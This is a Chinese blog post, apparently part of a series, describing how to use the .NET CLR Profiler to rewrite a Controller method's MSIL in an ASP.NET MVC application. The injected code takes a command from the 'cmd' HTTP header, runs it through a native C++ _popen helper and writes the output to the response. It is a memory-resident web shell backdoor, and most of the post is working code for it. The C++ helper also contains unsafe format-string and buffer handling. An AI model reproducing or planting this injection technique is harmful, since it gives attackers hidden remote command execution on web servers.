一、文章前述

关于CLR Profiler的基础部分我上篇文章已经讲过了，具体可以去看看

https://www.cnblogs.com/wh4am1/p/15143698.html

直接进入正文部分

二、重写MSIL部分

这次爬坑也挺久的，请教了公司的同事，最后经过多次调试之后总算把demo做出来了。因为国内外针对这方面的文档确实很少，之能靠自己一步步调试和定位错误原因，不过好在最终还是达到了预期的目标。

源代码还是跟上篇文章一样，这次我直接织入到一个Controller的方法中，并获取Headers头的cmd参数，执行命令之后返回到Response上。

 首先第一件事就是获取所需要调用的函数的程序集引用

ASSEMBLYMETADATA assemblyMetadata = { 0 };
    assemblyMetadata.usMajorVersion = 4;
    assemblyMetadata.usMinorVersion = 0;
    assemblyMetadata.usBuildNumber = 0;
    assemblyMetadata.usRevisionNumber = 0;
    BYTE WebpublicKey[] = { 0xb0, 0x3f, 0x5f, 0x7f, 0x11, 0xd5, 0x0a, 0x3a };      //b03f5f7f11d50a3a
    mdAssemblyRef mscorlibAssemblyRef;
    IMetaDataAssemblyEmit* metaDataAssemblyEmit = NULL;
    IfFailRet(metaDataEmit->QueryInterface(IID_IMetaDataAssemblyEmit, (void**)&metaDataAssemblyEmit));
    IfFailRet(metaDataAssemblyEmit->DefineAssemblyRef(
        WebpublicKey,
        sizeof(WebpublicKey),
        L"System.Web",
        &assemblyMetadata,
        nullptr,
        0,
        0,
        &mscorlibAssemblyRef));

    ASSEMBLYMETADATA assemblyMetadata1 = { 0 };
    assemblyMetadata1.usMajorVersion = 4;
    assemblyMetadata1.usMinorVersion = 0;
    assemblyMetadata1.usBuildNumber = 0;
    assemblyMetadata1.usRevisionNumber = 0;
    BYTE SystempublicKey[] = { 0xb7, 0x7a, 0x5c, 0x56, 0x19, 0x34, 0xe0, 0x89 };      //b77a5c561934e089
    mdAssemblyRef mscorlibAssemblyRef2;
    IfFailRet(metaDataEmit->QueryInterface(IID_IMetaDataAssemblyEmit, (void**)&metaDataAssemblyEmit));
    IfFailRet(metaDataAssemblyEmit->DefineAssemblyRef(
        SystempublicKey,
        sizeof(SystempublicKey),
        L"System",
        &assemblyMetadata1,
        nullptr,
        0,
        0,
        &mscorlibAssemblyRef2));

    BYTE rSig[] = { IMAGE_CEE_CS_CALLCONV_HASTHIS,
               0, // Number of parameters 
               ELEMENT_TYPE_CLASS, 0, 0, 0, 0, // Return value
               0 // parameter list must end with 0
    };

    ASSEMBLYMETADATA Mvcassembly = { 0 };
    Mvcassembly.usMajorVersion = 5;
    Mvcassembly.usMinorVersion = 2;
    Mvcassembly.usBuildNumber = 4;
    Mvcassembly.usRevisionNumber = 0;
    BYTE publicKey[] = { 0x31, 0xbf, 0x38, 0x56, 0xad, 0x36, 0x4e, 0x35 };      //31bf3856ad364e35
    BYTE MVCrSig[] = { IMAGE_CEE_CS_CALLCONV_HASTHIS,
               0, // Number of parameters 
               ELEMENT_TYPE_CLASS, 0, 0, 0, 0, // Return Class
               0 // parameter list must end with 0
    };
    mdAssemblyRef MvcmscorlibAssemblyRef;
    IfFailRet(metaDataAssemblyEmit->DefineAssemblyRef(
        publicKey,
        sizeof(publicKey),
        L"System.Web.Mvc",
        &Mvcassembly,
        nullptr,
        0,
        0,
        &MvcmscorlibAssemblyRef));

 有了这些引用之后就可以重写对应的IL，并调用对应的函数获取返回值

因为我需要将Headers头中的参数传入到对应的cmd执行函数里面去，所以伪代码大致如下：

Response.Write(EnterExecCMD(Request.Headers["cmd"]))

其对应的IL代码如下：

　　　　 IL_00c2: ldarg.0
        IL_00c3: call instance class [System.Web]System.Web.HttpResponseBase [System.Web.Mvc]System.Web.Mvc.Controller::get_Response()
        IL_00c8: ldarg.0
        IL_00c9: call instance class [System.Web]System.Web.HttpRequestBase [System.Web.Mvc]System.Web.Mvc.Controller::get_Request()
        IL_00ce: callvirt instance class [System]System.Collections.Specialized.NameValueCollection [System.Web]System.Web.HttpRequestBase::get_Headers()
        IL_00d3: ldstr "cmd"
        IL_00d8: callvirt instance string [System]System.Collections.Specialized.NameValueCollection::get_Item(string)
                //此处是调用EnterExecCMD函数的地方
        IL_00dd: callvirt instance void [System.Web]System.Web.HttpResponseBase::Write(string)

所以之后的IL重写代码如下：

pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_NOP;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_LDARG_0;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    mdTypeRef retType;
    IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpResponseBase", &retType));

    IfFailRet(metaDataEmit->DefineTypeRefByName(MvcmscorlibAssemblyRef, L"System.Web.Mvc.Controller", &typeRef));
    ulTokenLength = CorSigCompressToken(retType, &MVCrSig[3]);
    ulSigLength = 3 + ulTokenLength;
    IfFailRet(metaDataEmit->DefineMemberRef(typeRef, L"get_Response", MVCrSig, ulSigLength, &MemberRef));

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_CALL;
    pNewInstr->m_Arg32 = MemberRef;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_LDARG_0;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpRequestBase", &retType));

    IfFailRet(metaDataEmit->DefineTypeRefByName(MvcmscorlibAssemblyRef, L"System.Web.Mvc.Controller", &typeRef));
    ulTokenLength = CorSigCompressToken(retType, &MVCrSig[3]);
    ulSigLength = 3 + ulTokenLength;
    IfFailRet(metaDataEmit->DefineMemberRef(typeRef, L"get_Request", MVCrSig, ulSigLength, &MemberRef));

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_CALL;
    pNewInstr->m_Arg32 = MemberRef;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);
    IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef2, L"System.Collections.Specialized.NameValueCollection", &retType));

    mdTypeRef typeRef1 = mdTypeRefNil;
    mdMemberRef MemberRef1 = mdMemberRefNil;
    IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpRequestBase", &typeRef1));
    ulTokenLength = CorSigCompressToken(retType, &rSig[3]);
    ulSigLength = 3 + ulTokenLength;
    IfFailRet(metaDataEmit->DefineMemberRef(typeRef1, L"get_Headers", rSig, ulSigLength, &MemberRef1));

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_CALLVIRT;
    pNewInstr->m_Arg32 = MemberRef1;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    auto localstring = L"cmd";
    auto localsize = lstrlenW(localstring);
    mdToken stringToken;
    IfFailRet(metaDataEmit->DefineUserString(localstring, localsize, &stringToken));

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_LDSTR;
    pNewInstr->m_Arg32 = stringToken;       //"cmd"
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    

    BYTE rSig_Item[] = { IMAGE_CEE_CS_CALLCONV_HASTHIS, 0x01, ELEMENT_TYPE_STRING, ELEMENT_TYPE_STRING };

    mdTypeRef typeRef2 = mdTypeRefNil;
    mdMemberRef MemberRef2 = mdMemberRefNil;
    IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef2, L"System.Collections.Specialized.NameValueCollection", &typeRef2));
    IfFailRet(metaDataEmit->DefineMemberRef(typeRef2, L"get_Item", rSig_Item, sizeof(rSig_Item), &MemberRef2));

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_CALLVIRT;
    pNewInstr->m_Arg32 = MemberRef2;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_LDC_I;
    pNewInstr->m_Arg64 = methodAddress;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_CALLI;
    pNewInstr->m_Arg32 = methodSignature;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    BYTE rSig_Write[] = { IMAGE_CEE_CS_CALLCONV_HASTHIS, 0x01, ELEMENT_TYPE_VOID, ELEMENT_TYPE_STRING };

    IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpResponseBase", &typeRef1));
    IfFailRet(metaDataEmit->DefineMemberRef(typeRef1, L"Write", rSig_Write, sizeof(rSig_Write), &MemberRef1));

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_CALLVIRT;
    pNewInstr->m_Arg32 = MemberRef1;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_NOP;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

View Code

 在重写的时候调用函数会用DefineMemberRef来找到对应的函数引用，但因为是本地引用的base对象，所以此处应该要用IMAGE_CEE_CS_CALLCONV_HASTHIS修饰，不然会报对应的方法找不到，这个问题一直困扰了我很久，最后看了很多代码和文库才知道是要这么写- -

而其中的EnterExecCMD函数是用C++编写的，实现代码如下：

static char* STDMETHODCALLTYPE Enter(char* arg0)
{
    if (arg0 && *arg0 != '\0') {
        int iRet = 0;
        char buf_ps[4096];
        char ps[1024] = { 0 };
        char ret[4096];
        FILE *ptr;

        sprintf(ps, arg0);

        if ((ptr = _popen(ps, "r")) != NULL)
        {
            while (fgets(buf_ps, sizeof(buf_ps), ptr) != NULL)
            {
                strcat(ret, buf_ps);
                if (strlen(ret) > 4096)
                {
                    break;
                }
            }
            _pclose(ptr);
            ptr = NULL;
            iRet = 1;  // 处理成功
        }
        else
        {
            iRet = 0; // 处理失败
        }

        if (iRet) {
            return buf_ps;
        }
        else {
            return (char*)"Run Command Error";
        }
    }
}

附上最后测试的图，在请求的时候Header头上cmd参数写入要执行的cmd命令即可：

Reference:

https://www.anquanke.com/post/id/256110